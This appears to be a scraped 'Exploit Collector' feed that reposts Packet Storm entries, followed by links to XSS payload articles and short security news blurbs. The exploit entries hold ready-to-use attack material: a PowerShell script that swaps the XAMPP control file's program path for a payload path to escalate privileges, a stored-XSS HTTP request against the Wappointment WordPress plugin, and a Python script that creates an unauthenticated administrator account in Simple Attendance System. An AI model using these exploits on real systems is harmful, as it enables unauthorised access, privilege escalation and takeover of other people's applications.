Exploit Collector
Trojan-Downloader.Win32.VB.abb Insecure Permissions

https://4.bp.blogspot.com/-gQsa2Au6OFw/WWlvKe9cGFI/AAAAAAAAIME/7MuhuX3Jqy0CeEu0oyVXmXST8BDpKvIGgCLcBGAs/s1600/h15.png
Trojan-Downloader.Win32.VB.abb malware suffers from an insecure permissions vulnerability.

MD5 | 7020f4386ea41a1c414771c49ad351a6

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/8f81373b0f0e6f60206a1a707de2ed77.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Downloader.Win32.VB.abb
Vulnerability: Insecure Permissions
Description: The malware creates an executable with an ".axd" extension and insecure permissions under c:\ drive granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: 8f81373b0f0e6f60206a1a707de2ed77
Vuln ID: MVID-2021-0345
Dropped files: WINDOWSsystem32adoax.axd
Disclosure: 09/25/2021

Exploit/PoC:
C:\>cacls WINDOWSsystem32adoax.axd
C:\WINDOWSsystem32adoax.axd BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
XAMPP 7.4.3 Privilege Escalation

https://3.bp.blogspot.com/-nGXsE6SnJzg/WWlu_4hmLPI/AAAAAAAAIKI/Orx5Bzmw2Dg1C2Ys8CQM09j0YgXq__7zgCLcBGAs/s1600/h120.png
XAMPP version 7.4.3 suffers from a local privilege escalation vulnerability.

MD5 | 8d79f4e52bb5093cf49c0944c183d58f

Download
# Exploit Title: XAMPP 7.4.3 - Local Privilege Escalation
# Exploit Author: Salman Asad (@deathflash1411, salman@defmax.io)
# Original Author: Maximilian Barz (@S1lkys)
# Date: 27/09/2021
# Vendor Homepage: https://www.apachefriends.org
# Version: XAMPP < 7.2.29, 7.3.x < 7.3.16 & 7.4.x < 7.4.4
# Tested on: Windows 10 + XAMPP 7.3.10
# References: https://github.com/S1lkys/CVE-2020-11107

$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
# Insert your payload path here
$replace = "C:\temp\msf.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $file

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Agent.aer Denial Of Service

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
CMS Made Simple 2.1.3 Remote Code Execution

https://4.bp.blogspot.com/-gQsa2Au6OFw/WWlvKe9cGFI/AAAAAAAAIME/7MuhuX3Jqy0CeEu0oyVXmXST8BDpKvIGgCLcBGAs/s1600/h15.png
CMS Made Simple version 2.1.3 details on how to achieve remote code execution.

MD5 | 1d05bbd0a0739e3bf334b6bce440369c

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Wappointment 2.2.4 Cross Site Scripting

https://3.bp.blogspot.com/-sRAbWielMtM/WWlvVvmDA-I/AAAAAAAAIN8/PunzJUFKKskcHl_zTOrA6xP6ETTvhbejQCLcBGAs/s1600/h46.png
WordPress Wappointment plugin version 2.2.4 suffers from a persistent cross site scripting vulnerability.

MD5 | 06d4d37cea6659e1b1dea2a83e10132f

Download
# Exploit Title: WordPress Plugin Wappointment 2.2.4 - Stored Cross-Site Scripting (XSS)
# Date: 2021-07-31
# Exploit Author: Renos Nikolaou
# Software Link: https://downloads.wordpress.org/plugin/wappointment.2.2.4.zip
# Version: 2.2.4
# Tested on: Windows
# Description : Wappointment is prone to Stored Cross Site Scripting vulnerabilities
# because it fails to properly sanitize user-supplied input.

# PoC - Stored XSS - Parameter: name
# 1) Open Wappointment Plugin or Visit booking-page http://localhost/booking-page
# 2) Click on any available delivery modality (By Phone, At a Location, Video Meeting or By Skype)
# 3) Select Date and Time, write your email address, your phone number and in the Full Name field type: testname">x
# 4) Click Confirm
# 5) Login as admin to wp-admin portal, Go to Wappointment --> Calendar ( http://localhost/wordpress/wp-admin/admin.php?page=wappointment_calendar )
# Post Request (Step 4):

POST /wordpress/wp-json/wappointment/v1/services/booking HTTP/1.1
Host: domain.com
Content-Length: 205
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Type: application/json
Origin: http://domain.com
Referer: http://domain.com/wordpress/booking-page/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"email":"testemail@testemail.com","name":"testname\">x ","phone":"+00 00 000000","time":1630666800,"ctz":"Europe/Bucharest","service":1,"location":3,"duration":90,"staff_id":2}

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Simple Attendance System 1.0 Authentication Bypass

https://1.bp.blogspot.com/-qwhQ-DvjXeo/WWlvAVNcU1I/AAAAAAAAIKM/AQaWmoLkqQQ6jMUPY28Kv2eNsZnw7PnKQCLcBGAs/s1600/h122.png
Simple Attendance System version 1.0 authentication bypass exploit that adds an administrator.

MD5 | b2f87481c6c45cf469745634e60b237d

Download
# Exploit Title: Simple Attendance System v1.0 - Unauthenticated Add Admin Account
# Exploit Author: Richard Jones
# Date: September 26, 2021
# Vendor Homepage: https://www.sourcecodester.com/php/14948/simple-attendance-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14948&title=Simple+Attendance+System+in+PHP+and+SQLite+Free+Source+Code
# Tested on: Kali Linux, Apache, Mysql
# Vendor: oretnom23
# Version: v1.0
# Exploit Description:
# Simple Attendance System v1.0 v1.0 suffers Unauthenticated Add Administration Account. We can craft a post request to add an admin account to the applicaiton without authentication.
# Usage: python3 attendance_poc.py -u admin1 -p admin1 -url http://localhost/attendance/
# Then login to the app at http://localhost/attendance/login.php to be logged as admin.
import requests
import argparse
def createAccount(args):
try:
data = f'id=&fullname={args.username}&username={args.password}&type=1'
headers = {"Content-Type": "application/x-www-form-urlencoded"}
r = requests.post(url=f"{args.host}Actions.php?a=save_user", data=data, headers=headers)
if r. status_code == 200:
resp = r.text
if "Username already exists." in resp:
print(f"Username \"{args.username}\" taken!\nChange it and try again. ")
if "New User successfully saved." in resp:
print("Created User")
print(f"Username: {args.username}\nPassword: {args.password}")
print(f"\nPlease try to login here: {args.url}login.php")
except:
print("Unknown Error, Check URL and try again.")
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--username", help="Username to create", required=True)
parser.add_argument("-p", "--password", help="Password for the user account", required=True)
parser.add_argument("-url", "--host", help="Host for the webapp eg: http://localhost/attendance/ <<
args = parser.parse_args()

createAccount(args)
if __name__ == "__main__":
main()

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

”حمولات#XSS التي يمكن استخدامها في سياقات مختلفة “.
https://medium.com/@kdiix0gamer/%D8%AD%D9%85%D9%88%D9%84%D8%A7%D8%AA-xss-%D8%A7%D9%84%D8%AA%D9%8A-%D9%8A%D9%85%D9%83%D9%86-%D8%A7%D8%B3%D8%AA%D8%AE%D8%AF%D8%A7%D9%85%D9%87%D8%A7-%D9%81%D9%8A-%D8%B3%D9%8A%D8%A7%D9%82%D8%A7%D8%AA-%D9%85%D8%AE%D8%AA%D9%84%D9%81%D8%A9-9943c536b04?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

‏⁦#XSS⁩ Payloads that can be used in different contexts.”Continue reading on Medium » (https://medium.com/@kdiix0gamer/%D8%AD%D9%85%D9%88%D9%84%D8%A7%D8%AA-xss-%D8%A7%D9%84%D8%AA%D9%8A-%D9%8A%D9%85%D9%83%D9%86-%D8%A7%D8%B3%D8%AA%D8%AE%D8%AF%D8%A7%D9%85%D9%87%D8%A7-%D9%81%D9%8A-%D8%B3%D9%8A%D8%A7%D9%82%D8%A7%D8%AA-%D9%85%D8%AE%D8%AA%D9%84%D9%81%D8%A9-9943c536b04?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Challenges a loophole through the xss website programming that walks with you step by step
https://medium.com/@kdiix0gamer/challenges-a-loophole-through-the-xss-website-programming-that-walks-with-you-step-by-step-bc640bcb5598?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

‎website: ⁦hackernap.com/lab/Xss-labsContinue reading on Medium » (https://medium.com/@kdiix0gamer/challenges-a-loophole-through-the-xss-website-programming-that-walks-with-you-step-by-step-bc640bcb5598?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Cloudflare Ventures into Simplifying Email Security

The company adds complex email security technologies — including the alphabet soup of SPF, DKIM, and DMARC — as part of its service.

Dark Reading: Attacks/Breaches
Aunalytics Unveils Secure Managed Services with Integrated Security

New service stack combines mission critical IT services leveraging zero trust end-to-end security to ensure people and data are protected regardless of location.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Zero Trust Comes to Industry's Broadest Cybersecurity Platform

Trend Micro Zero Trust Risk Insights continuously reveals and prioritizes risks for better decision making.

___________________________
@hacking_Attack
@Hacking_Video